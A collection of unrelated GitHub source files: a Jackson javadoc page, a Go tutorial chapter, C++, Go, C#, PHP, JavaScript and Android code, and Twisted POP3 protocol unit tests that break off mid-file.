href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#toString()" title="class or interface in java.lang">toString</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#wait()" title="class or interface in java.lang">wait</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#wait(long)" title="class or interface in java.lang">wait</a>, <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true#wait(long, int)" title="class or interface in java.lang">wait</a></code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ FIELD DETAIL =========== -->
<ul class="blockList">
<li class="blockList"><a name="field_detail">
<!-- -->
</a>
<h3>Field Detail</h3>
<a name="_xmlTextPropertyIndex">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>_xmlTextPropertyIndex</h4>
<pre>protected final int _xmlTextPropertyIndex</pre>
<div class="block">Property index of the "XML text property"; needed for finding actual
property instance after resolution and contextualization: instance
may change, but index will remain constant.</div>
</li>
</ul>
<a name="_xmlTextProperty">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>_xmlTextProperty</h4>
<pre>protected final com.fasterxml.jackson.databind.deser.SettableBeanProperty _xmlTextProperty</pre>
<div class="block">Actual property that is indicated to be of type "XML Text" (and
is the only element-valued property)</div>
</li>
</ul>
<a name="_valueInstantiator">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>_valueInstantiator</h4>
<pre>protected final com.fasterxml.jackson.databind.deser.ValueInstantiator _valueInstantiator</pre>
</li>
</ul>
</li>
</ul>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="XmlTextDeserializer(com.fasterxml.jackson.databind.deser.BeanDeserializerBase, com.fasterxml.jackson.databind.deser.SettableBeanProperty)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>XmlTextDeserializer</h4>
<pre>public XmlTextDeserializer(com.fasterxml.jackson.databind.deser.BeanDeserializerBase delegate,
com.fasterxml.jackson.databind.deser.SettableBeanProperty prop)</pre>
</li>
</ul>
<a name="XmlTextDeserializer(com.fasterxml.jackson.databind.deser.BeanDeserializerBase, int)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>XmlTextDeserializer</h4>
<pre>public XmlTextDeserializer(com.fasterxml.jackson.databind.deser.BeanDeserializerBase delegate,
int textPropIndex)</pre>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="newDelegatingInstance(com.fasterxml.jackson.databind.JsonDeserializer)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>newDelegatingInstance</h4>
<pre>protected com.fasterxml.jackson.databind.JsonDeserializer<?> newDelegatingInstance(com.fasterxml.jackson.databind.JsonDeserializer<?> newDelegatee0)</pre>
<dl>
<dt><strong>Specified by:</strong></dt>
<dd><code>newDelegatingInstance</code> in class <code>com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</code></dd>
</dl>
</li>
</ul>
<a name="createContextual(com.fasterxml.jackson.databind.DeserializationContext, com.fasterxml.jackson.databind.BeanProperty)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>createContextual</h4>
<pre>public com.fasterxml.jackson.databind.JsonDeserializer<?> createContextual(com.fasterxml.jackson.databind.DeserializationContext ctxt,
com.fasterxml.jackson.databind.BeanProperty property)
throws com.fasterxml.jackson.databind.JsonMappingException</pre>
<dl>
<dt><strong>Specified by:</strong></dt>
<dd><code>createContextual</code> in interface <code>com.fasterxml.jackson.databind.deser.ContextualDeserializer</code></dd>
<dt><strong>Overrides:</strong></dt>
<dd><code>createContextual</code> in class <code>com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</code></dd>
<dt><span class="strong">Throws:</span></dt>
<dd><code>com.fasterxml.jackson.databind.JsonMappingException</code></dd></dl>
</li>
</ul>
<a name="deserialize(com.fasterxml.jackson.core.JsonParser, com.fasterxml.jackson.databind.DeserializationContext)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>deserialize</h4>
<pre>public <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a> deserialize(com.fasterxml.jackson.core.JsonParser jp,
com.fasterxml.jackson.databind.DeserializationContext ctxt)
throws <a href="http://download.oracle.com/javase/6/docs/api/java/io/IOException.html?is-external=true" title="class or interface in java.io">IOException</a>,
com.fasterxml.jackson.core.JsonProcessingException</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code>deserialize</code> in class <code>com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</code></dd>
<dt><span class="strong">Throws:</span></dt>
<dd><code><a href="http://download.oracle.com/javase/6/docs/api/java/io/IOException.html?is-external=true" title="class or interface in java.io">IOException</a></code></dd>
<dd><code>com.fasterxml.jackson.core.JsonProcessingException</code></dd></dl>
</li>
</ul>
<a name="deserialize(com.fasterxml.jackson.core.JsonParser, com.fasterxml.jackson.databind.DeserializationContext, java.lang.Object)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>deserialize</h4>
<pre>public <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a> deserialize(com.fasterxml.jackson.core.JsonParser jp,
com.fasterxml.jackson.databind.DeserializationContext ctxt,
<a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a> bean)
throws <a href="http://download.oracle.com/javase/6/docs/api/java/io/IOException.html?is-external=true" title="class or interface in java.io">IOException</a>,
com.fasterxml.jackson.core.JsonProcessingException</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code>deserialize</code> in class <code>com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</code></dd>
<dt><span class="strong">Throws:</span></dt>
<dd><code><a href="http://download.oracle.com/javase/6/docs/api/java/io/IOException.html?is-external=true" title="class or interface in java.io">IOException</a></code></dd>
<dd><code>com.fasterxml.jackson.core.JsonProcessingException</code></dd></dl>
</li>
</ul>
<a name="deserializeWithType(com.fasterxml.jackson.core.JsonParser, com.fasterxml.jackson.databind.DeserializationContext, com.fasterxml.jackson.databind.jsontype.TypeDeserializer)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>deserializeWithType</h4>
<pre>public <a href="http://download.oracle.com/javase/6/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a> deserializeWithType(com.fasterxml.jackson.core.JsonParser jp,
com.fasterxml.jackson.databind.DeserializationContext ctxt,
com.fasterxml.jackson.databind.jsontype.TypeDeserializer typeDeserializer)
throws <a href="http://download.oracle.com/javase/6/docs/api/java/io/IOException.html?is-external=true" title="class or interface in java.io">IOException</a>,
com.fasterxml.jackson.core.JsonProcessingException</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code>deserializeWithType</code> in class <code>com.fasterxml.jackson.databind.deser.std.DelegatingDeserializer</code></dd>
<dt><span class="strong">Throws:</span></dt>
<dd><code><a href="http://download.oracle.com/javase/6/docs/api/java/io/IOException.html?is-external=true" title="class or interface in java.io">IOException</a></code></dd>
<dd><code>com.fasterxml.jackson.core.JsonProcessingException</code></dd></dl>
</li>
</ul>
<a name="_verifyDeserType(com.fasterxml.jackson.databind.JsonDeserializer)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>_verifyDeserType</h4>
<pre>protected com.fasterxml.jackson.databind.deser.BeanDeserializerBase _verifyDeserType(com.fasterxml.jackson.databind.JsonDeserializer<?> deser)</pre>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/XmlTextDeserializer.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlReadContext.html" title="class in com.fasterxml.jackson.dataformat.xml.deser"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTokenStream.html" title="class in com.fasterxml.jackson.dataformat.xml.deser"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../index.html?com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html" target="_top">Frames</a></li>
<li><a href="XmlTextDeserializer.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested_classes_inherited_from_class_com.fasterxml.jackson.databind.JsonDeserializer">Nested</a> | </li>
<li><a href="#field_summary">Field</a> | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field_detail">Field</a> | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small>Copyright © 2014-2015 <a href="http://fasterxml.com/">FasterXML</a>. All Rights Reserved.</small></p>
</body>
</html>
| {
"pile_set_name": "Github"
} |
# 3.0 编辑器、集成开发环境与其它工具
因为 Go 语言还是一门相对年轻的编程语言,所以不管是在集成开发环境(IDE)还是相关的插件方面,发展都不是很成熟。不过目前还是有一些 IDE 能够较好地支持 Go 的开发,有些开发工具甚至是跨平台的,你可以在 Linux、Mac OS X 或者 Windows 下工作。
你可以通过查阅 [编辑器和 IDE 扩展](http://go-lang.cat-v.org/text-editors/) 页面来获取 Go 开发工具的最新信息。
## 链接
- [目录](directory.md)
- 上一章:[Go 解释器](02.8.md)
- 下一节:[Go 开发环境的基本要求](03.1.md) | {
"pile_set_name": "Github"
} |
#pragma once
#include <vector>
#include <string>
namespace kcov
{
/**
* Cache class for source code
*/
class ISourceFileCache
{
public:
virtual ~ISourceFileCache()
{
}
/**
* Get the source lines of a file
*
* @param filePath the file to lookup
*
* @return A reference to the source lines (possibly empty)
*/
virtual const std::vector<std::string> &getLines(const std::string &filePath) = 0;
/**
* Get the checksum for a file
*
* @return the CRC32 of the file
*/
virtual uint32_t getCrc(const std::string &filePath) = 0;
virtual bool fileExists(const std::string &filePath) = 0;
static ISourceFileCache &getInstance();
};
}
| {
"pile_set_name": "Github"
} |
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"go/ast"
"go/parser"
"strings"
"testing"
)
type testCase struct {
Name string
Fn func(*ast.File) bool
In string
Out string
}
var testCases []testCase
func addTestCases(t []testCase, fn func(*ast.File) bool) {
// Fill in fn to avoid repetition in definitions.
if fn != nil {
for i := range t {
if t[i].Fn == nil {
t[i].Fn = fn
}
}
}
testCases = append(testCases, t...)
}
func fnop(*ast.File) bool { return false }
func parseFixPrint(t *testing.T, fn func(*ast.File) bool, desc, in string, mustBeGofmt bool) (out string, fixed, ok bool) {
file, err := parser.ParseFile(fset, desc, in, parserMode)
if err != nil {
t.Errorf("%s: parsing: %v", desc, err)
return
}
outb, err := gofmtFile(file)
if err != nil {
t.Errorf("%s: printing: %v", desc, err)
return
}
if s := string(outb); in != s && mustBeGofmt {
t.Errorf("%s: not gofmt-formatted.\n--- %s\n%s\n--- %s | gofmt\n%s",
desc, desc, in, desc, s)
tdiff(t, in, s)
return
}
if fn == nil {
for _, fix := range fixes {
if fix.f(file) {
fixed = true
}
}
} else {
fixed = fn(file)
}
outb, err = gofmtFile(file)
if err != nil {
t.Errorf("%s: printing: %v", desc, err)
return
}
return string(outb), fixed, true
}
func TestRewrite(t *testing.T) {
for _, tt := range testCases {
// Apply fix: should get tt.Out.
out, fixed, ok := parseFixPrint(t, tt.Fn, tt.Name, tt.In, true)
if !ok {
continue
}
// reformat to get printing right
out, _, ok = parseFixPrint(t, fnop, tt.Name, out, false)
if !ok {
continue
}
if out != tt.Out {
t.Errorf("%s: incorrect output.\n", tt.Name)
if !strings.HasPrefix(tt.Name, "testdata/") {
t.Errorf("--- have\n%s\n--- want\n%s", out, tt.Out)
}
tdiff(t, out, tt.Out)
continue
}
if changed := out != tt.In; changed != fixed {
t.Errorf("%s: changed=%v != fixed=%v", tt.Name, changed, fixed)
continue
}
// Should not change if run again.
out2, fixed2, ok := parseFixPrint(t, tt.Fn, tt.Name+" output", out, true)
if !ok {
continue
}
if fixed2 {
t.Errorf("%s: applied fixes during second round", tt.Name)
continue
}
if out2 != out {
t.Errorf("%s: changed output after second round of fixes.\n--- output after first round\n%s\n--- output after second round\n%s",
tt.Name, out, out2)
tdiff(t, out, out2)
}
}
}
func tdiff(t *testing.T, a, b string) {
data, err := diff([]byte(a), []byte(b))
if err != nil {
t.Error(err)
return
}
t.Error(string(data))
}
| {
"pile_set_name": "Github"
} |
using Microsoft.Win32;
using System;
using System.IO;
using System.Security;
using System.Windows;
using UI.Infrastructure;
namespace UI.Dialogs
{
public partial class ServerDialog : Window
{
public string ServerAddress { get; private set; }
public string CertificatePath { get; private set; }
public SecureString CertificatePassword { get; private set; }
public ServerDialog()
{
InitializeComponent();
ServerAddress = ServerAddressField.Text = Settings.Current.ServerStartAddress;
CertificatePath = CertificateField.Text = Settings.Current.ServerStartCertificatePath;
}
public void SaveSettings()
{
Settings.Current.ServerStartAddress = ServerAddress;
Settings.Current.ServerStartCertificatePath = CertificatePath;
}
private void Accept_Click(object sender, RoutedEventArgs e)
{
try
{
if (string.IsNullOrEmpty(ServerAddressField.Text))
throw new FormatException("Server address field is empty.");
if (string.IsNullOrEmpty(CertificateField.Text))
throw new FormatException("Certificate field is empty.");
if (!File.Exists(CertificateField.Text))
throw new FormatException("Certificate file does not exist.");
ServerAddress = ServerAddressField.Text;
CertificatePath = CertificateField.Text;
CertificatePassword = PasswordField.SecurePassword;
DialogResult = true;
}
catch (FormatException fe)
{
var errorMsg = Localizer.Instance.Localize("fieldsError");
MessageBox.Show(this, $"{errorMsg}\r\n{fe.Message}", "TCP Chat");
}
}
private void SelectCertificatePath_Click(object sender, RoutedEventArgs e)
{
var fileDialog = new OpenFileDialog();
fileDialog.CheckFileExists = true;
fileDialog.CheckPathExists = true;
fileDialog.Multiselect = false;
fileDialog.Filter = "PFX|*.pfx|All files|*.*";
if (fileDialog.ShowDialog() == true)
CertificateField.Text = fileDialog.FileName;
}
private void GenerateCertificate_Click(object sender, RoutedEventArgs e)
{
var generateCertificate = GenerateCertificateDialog.ForServerAddress();
if (generateCertificate.ShowDialog() == true)
CertificateField.Text = generateCertificate.CertificatePath;
}
private void Cancel_Click(object sender, RoutedEventArgs e)
{
DialogResult = false;
}
}
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* Enable the plugin to add additional XML nodes and attributes to entry MRSS
* @package infra
* @subpackage Plugins
*/
interface IKalturaMrssContributor extends IKalturaBase
{
/**
* @param BaseObject $object
* @param SimpleXMLElement $mrss
* @param kMrssParameters $mrssParams
* @return SimpleXMLElement
*/
public function contribute(BaseObject $object, SimpleXMLElement $mrss, kMrssParameters $mrssParams = null);
/**
* Function returns the object feature type for the use of the KmrssManager
*
* @return int
*/
public function getObjectFeatureType ();
} | {
"pile_set_name": "Github"
} |
// CodeContracts
//
// Copyright (c) Microsoft Corporation
//
// All rights reserved.
//
// MIT License
//
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// File System.Web.Configuration.TagPrefixInfo.cs
// Automatically generated contract file.
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Diagnostics.Contracts;
using System;
// Disable the "this variable is not used" warning as every field would imply it.
#pragma warning disable 0414
// Disable the "this variable is never assigned to".
#pragma warning disable 0067
// Disable the "this event is never assigned to".
#pragma warning disable 0649
// Disable the "this variable is never used".
#pragma warning disable 0169
// Disable the "new keyword not required" warning.
#pragma warning disable 0109
// Disable the "extern without DllImport" warning.
#pragma warning disable 0626
// Disable the "could hide other member" warning, can happen on certain properties.
#pragma warning disable 0108
namespace System.Web.Configuration
{
sealed public partial class TagPrefixInfo : System.Configuration.ConfigurationElement
{
#region Methods and constructors
public override bool Equals(Object prefix)
{
return default(bool);
}
public override int GetHashCode()
{
return default(int);
}
public TagPrefixInfo(string tagPrefix, string nameSpace, string assembly, string tagName, string source)
{
}
#endregion
#region Properties and indexers
public string Assembly
{
get
{
return default(string);
}
set
{
}
}
protected override System.Configuration.ConfigurationElementProperty ElementProperty
{
get
{
return default(System.Configuration.ConfigurationElementProperty);
}
}
public string Namespace
{
get
{
return default(string);
}
set
{
}
}
protected override System.Configuration.ConfigurationPropertyCollection Properties
{
get
{
return default(System.Configuration.ConfigurationPropertyCollection);
}
}
public string Source
{
get
{
return default(string);
}
set
{
}
}
public string TagName
{
get
{
return default(string);
}
set
{
}
}
public string TagPrefix
{
get
{
return default(string);
}
set
{
}
}
#endregion
}
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2012 Mark Cavage. All rights reserved.
var fs = require('fs');
var pino = require('pino');
var restify = require('restify');
var todo = require('../lib');
///--- Globals
var CLIENT;
var DIR = '/tmp/.todo_unit_test';
var SERVER;
var SOCK = '/tmp/.todo_sock';
///--- Tests
exports.setup = function(t) {
var log = pino({
name: 'todo_unit_test',
level: process.env.LOG_LEVEL || 'info'
});
fs.mkdir(DIR, function(err) {
if (err && err.code !== 'EEXIST') {
console.error('unable to mkdir: ' + err.stack);
process.exit(1);
}
SERVER = todo.createServer({
directory: DIR,
log: log.child({ component: 'server' }, true),
noAudit: true
});
t.ok(SERVER);
SERVER.listen(SOCK, function() {
CLIENT = todo.createClient({
log: log.child({ component: 'client' }, true),
socketPath: SOCK
});
t.ok(CLIENT);
t.done();
});
});
};
exports.listEmpty = function(t) {
CLIENT.list(function(err, todos) {
t.ifError(err);
t.ok(todos);
t.ok(Array.isArray(todos));
if (todos) {
t.equal(todos.length, 0);
}
t.done();
});
};
exports.create = function(t) {
var task = 'check that unit test works';
CLIENT.create(task, function(err, todo) {
t.ifError(err);
t.ok(todo);
if (todo) {
t.ok(todo.name);
t.equal(todo.task, task);
}
t.done();
});
};
exports.listAndGet = function(t) {
CLIENT.list(function(err, todos) {
t.ifError(err);
t.ok(todos);
t.ok(Array.isArray(todos));
if (todos) {
t.equal(todos.length, 1);
CLIENT.get(todos[0], function(err2, todo) {
t.ifError(err2);
t.ok(todo);
t.done();
});
} else {
t.done();
}
});
};
exports.update = function(t) {
CLIENT.list(function(err, todos) {
t.ifError(err);
t.ok(todos);
t.ok(Array.isArray(todos));
if (todos) {
t.equal(todos.length, 1);
var todo = {
name: todos[0],
task: 'something else'
};
CLIENT.update(todo, function(err2) {
t.ifError(err2);
t.done();
});
} else {
t.done();
}
});
};
exports.teardown = function teardown(t) {
CLIENT.del(function(err) {
t.ifError(err);
SERVER.once('close', function() {
fs.rmdir(DIR, function(err) {
t.ifError(err);
t.done();
});
});
SERVER.close();
});
};
| {
"pile_set_name": "Github"
} |
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
| {
"pile_set_name": "Github"
} |
package com.apeng.ffmpegandroiddemo;
import android.app.ProgressDialog;
import android.content.Context;
public class CustomProgressDialog extends ProgressDialog {
public CustomProgressDialog(Context context) {
super(context);
setMessage("处理中...");
setMax(100);
setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);
setCanceledOnTouchOutside(false);
setCancelable(true);
}
@Override
public void dismiss() {
super.dismiss();
setProgress(0);
}
@Override
public void cancel() {
super.cancel();
setProgress(0);
}
}
| {
"pile_set_name": "Github"
} |
# Copyright (c) 2001-2008 Twisted Matrix Laboratories.
# See LICENSE for details.
"""
Test cases for Ltwisted.mail.pop3} module.
"""
import StringIO
import hmac
import base64
import itertools
from zope.interface import implements
from twisted.internet import defer
from twisted.trial import unittest, util
from twisted import mail
import twisted.mail.protocols
import twisted.mail.pop3
import twisted.internet.protocol
from twisted import internet
from twisted.mail import pop3
from twisted.protocols import loopback
from twisted.python import failure
from twisted import cred
import twisted.cred.portal
import twisted.cred.checkers
import twisted.cred.credentials
from twisted.test.proto_helpers import LineSendingProtocol
class UtilityTestCase(unittest.TestCase):
"""
Test the various helper functions and classes used by the POP3 server
protocol implementation.
"""
def testLineBuffering(self):
"""
Test creating a LineBuffer and feeding it some lines. The lines should
build up in its internal buffer for a while and then get spat out to
the writer.
"""
output = []
input = iter(itertools.cycle(['012', '345', '6', '7', '8', '9']))
c = pop3._IteratorBuffer(output.extend, input, 6)
i = iter(c)
self.assertEquals(output, []) # nothing is buffer
i.next()
self.assertEquals(output, []) # '012' is buffered
i.next()
self.assertEquals(output, []) # '012345' is buffered
i.next()
self.assertEquals(output, ['012', '345', '6']) # nothing is buffered
for n in range(5):
i.next()
self.assertEquals(output, ['012', '345', '6', '7', '8', '9', '012', '345'])
def testFinishLineBuffering(self):
"""
Test that a LineBuffer flushes everything when its iterator is
exhausted, and itself raises StopIteration.
"""
output = []
input = iter(['a', 'b', 'c'])
c = pop3._IteratorBuffer(output.extend, input, 5)
for i in c:
pass
self.assertEquals(output, ['a', 'b', 'c'])
def testSuccessResponseFormatter(self):
"""
Test that the thing that spits out POP3 'success responses' works
right.
"""
self.assertEquals(
pop3.successResponse('Great.'),
'+OK Great.\r\n')
def testStatLineFormatter(self):
"""
Test that the function which formats stat lines does so appropriately.
"""
statLine = list(pop3.formatStatResponse([]))[-1]
self.assertEquals(statLine, '+OK 0 0\r\n')
statLine = list(pop3.formatStatResponse([10, 31, 0, 10101]))[-1]
self.assertEquals(statLine, '+OK 4 10142\r\n')
def testListLineFormatter(self):
"""
Test that the function which formats the lines in response to a LIST
command does so appropriately.
"""
listLines = list(pop3.formatListResponse([]))
self.assertEquals(
listLines,
['+OK 0\r\n', '.\r\n'])
listLines = list(pop3.formatListResponse([1, 2, 3, 100]))
self.assertEquals(
listLines,
['+OK 4\r\n', '1 1\r\n', '2 2\r\n', '3 3\r\n', '4 100\r\n', '.\r\n'])
def testUIDListLineFormatter(self):
"""
Test that the function which formats lines in response to a UIDL
command does so appropriately.
"""
UIDs = ['abc', 'def', 'ghi']
listLines = list(pop3.formatUIDListResponse([], UIDs.__getitem__))
self.assertEquals(
listLines,
['+OK \r\n', '.\r\n'])
listLines = list(pop3.formatUIDListResponse([123, 431, 591], UIDs.__getitem__))
self.assertEquals(
listLines,
['+OK \r\n', '1 abc\r\n', '2 def\r\n', '3 ghi\r\n', '.\r\n'])
listLines = list(pop3.formatUIDListResponse([0, None, 591], UIDs.__getitem__))
self.assertEquals(
listLines,
['+OK \r\n', '1 abc\r\n', '3 ghi\r\n', '.\r\n'])
class MyVirtualPOP3(mail.protocols.VirtualPOP3):
magic = '<moshez>'
def authenticateUserAPOP(self, user, digest):
user, domain = self.lookupDomain(user)
return self.service.domains['baz.com'].authenticateUserAPOP(user, digest, self.magic, domain)
class DummyDomain:
def __init__(self):
self.users = {}
def addUser(self, name):
self.users[name] = []
def addMessage(self, name, message):
self.users[name].append(message)
def authenticateUserAPOP(self, name, digest, magic, domain):
return pop3.IMailbox, ListMailbox(self.users[name]), lambda: None
class ListMailbox:
def __init__(self, list):
self.list = list
def listMessages(self, i=None):
if i is None:
return map(len, self.list)
return len(self.list[i])
def getMessage(self, i):
return StringIO.StringIO(self.list[i])
def getUidl(self, i):
return i
def deleteMessage(self, i):
self.list[i] = ''
def sync(self):
pass
class MyPOP3Downloader(pop3.POP3Client):
def handle_WELCOME(self, line):
pop3.POP3Client.handle_WELCOME(self, line)
self.apop('hello@baz.com', 'world')
def handle_APOP(self, line):
parts = line.split()
code = parts[0]
data = (parts[1:] or ['NONE'])[0]
if code != '+OK':
print parts
raise AssertionError, 'code is ' + code
self.lines = []
self.retr(1)
def handle_RETR_continue(self, line):
self.lines.append(line)
def handle_RETR_end(self):
self.message = '\n'.join(self.lines) + '\n'
self.quit()
def handle_QUIT(self, line):
if line[:3] != '+OK':
raise AssertionError, 'code is ' + line
class POP3TestCase(unittest.TestCase):
message = '''\
Subject: urgent
Someone set up us the bomb!
'''
expectedOutput = '''\
+OK <moshez>\015
+OK Authentication succeeded\015
+OK \015
1 0\015
.\015
+OK %d\015
Subject: urgent\015
\015
Someone set up us the bomb!\015
.\015
+OK \015
''' % len(message)
def setUp(self):
self.factory = internet.protocol.Factory()
self.factory.domains = {}
self.factory.domains['baz.com'] = DummyDomain()
self.factory.domains['baz.com'].addUser('hello')
self.factory.domains['baz.com'].addMessage('hello', self.message)
def testMessages(self):
client = LineSendingProtocol([
'APOP hello@baz.com world',
'UIDL',
'RETR 1',
'QUIT',
])
server = MyVirtualPOP3()
server.service = self.factory
def check(ignored):
output = '\r\n'.join(client.response) + '\r\n'
self.assertEquals(output, self.expectedOutput)
return loopback.loopbackTCP(server, client).addCallback(check)
def testLoopback(self):
protocol = MyVirtualPOP3()
protocol.service = self.factory
clientProtocol = MyPOP3Downloader()
def check(ignored):
self.failUnlessEqual(clientProtocol.message, self.message)
protocol.connectionLost(
failure.Failure(Exception("Test harness disconnect")))
d = loopback.loopbackAsync(protocol, clientProtocol)
return d.addCallback(check)
testLoopback.suppress = [util.suppress(message="twisted.mail.pop3.POP3Client is deprecated")]
class DummyPOP3(pop3.POP3):
magic = '<moshez>'
def authenticateUserAPOP(self, user, password):
return pop3.IMailbox, DummyMailbox(ValueError), lambda: None
class DummyMailbox(pop3.Mailbox):
messages = ['From: moshe\nTo: moshe\n\nHow are you, friend?\n']
def __init__(self, exceptionType):
self.messages = DummyMailbox.messages[:]
self.exceptionType = exceptionType
def listMessages(self, i=None):
if i is None:
return map(len, self.messages)
if i >= len(self.messages):
raise self.exceptionType()
return len(self.messages[i])
def getMessage(self, i):
return StringIO.StringIO(self.messages[i])
def getUidl(self, i):
if i >= len(self.messages):
raise self.exceptionType()
return str(i)
def deleteMessage(self, i):
self.messages[i] = ''
class AnotherPOP3TestCase(unittest.TestCase):
def runTest(self, lines, expectedOutput):
dummy = DummyPOP3()
client = LineSendingProtocol(lines)
d = loopback.loopbackAsync(dummy, client)
return d.addCallback(self._cbRunTest, client, dummy, expectedOutput)
def _cbRunTest(self, ignored, client, dummy, expectedOutput):
self.failUnlessEqual('\r\n'.join(expectedOutput),
'\r\n'.join(client.response))
dummy.connectionLost(failure.Failure(Exception("Test harness disconnect")))
return ignored
def test_buffer(self):
"""
Test a lot of different POP3 commands in an extremely pipelined
scenario.
This test may cover legitimate behavior, but the intent and
granularity are not very good. It would likely be an improvement to
split it into a number of smaller, more focused tests.
"""
return self.runTest(
["APOP moshez dummy",
"LIST",
"UIDL",
"RETR 1",
"RETR 2",
"DELE 1",
"RETR 1",
"QUIT"],
['+OK <moshez>',
'+OK Authentication succeeded',
'+OK 1',
'1 44',
'.',
'+OK ',
'1 0',
'.',
'+OK 44',
'From: moshe',
'To: moshe',
'',
'How are you, friend?',
'.',
'-ERR Bad message number argument',
'+OK ',
'-ERR message deleted',
'+OK '])
def test_noop(self):
"""
Test the no-op command.
"""
return self.runTest(
['APOP spiv dummy',
'NOOP',
'QUIT'],
['+OK <moshez>',
'+OK Authentication succeeded',
'+OK ',
'+OK '])
def testAuthListing(self):
p = DummyPOP3()
p.factory = internet.protocol.Factory()
p.factory.challengers = {'Auth1': None, 'secondAuth': None, 'authLast': None}
client = LineSendingProtocol([
"AUTH",
"QUIT",
])
d = loopback.loopbackAsync(p, client)
return d.addCallback(self._cbTestAuthListing, client)
def _cbTestAuthListing(self, ignored, client):
self.failUnless(client.response[1].startswith('+OK'))
self.assertEquals(client.response[2:6],
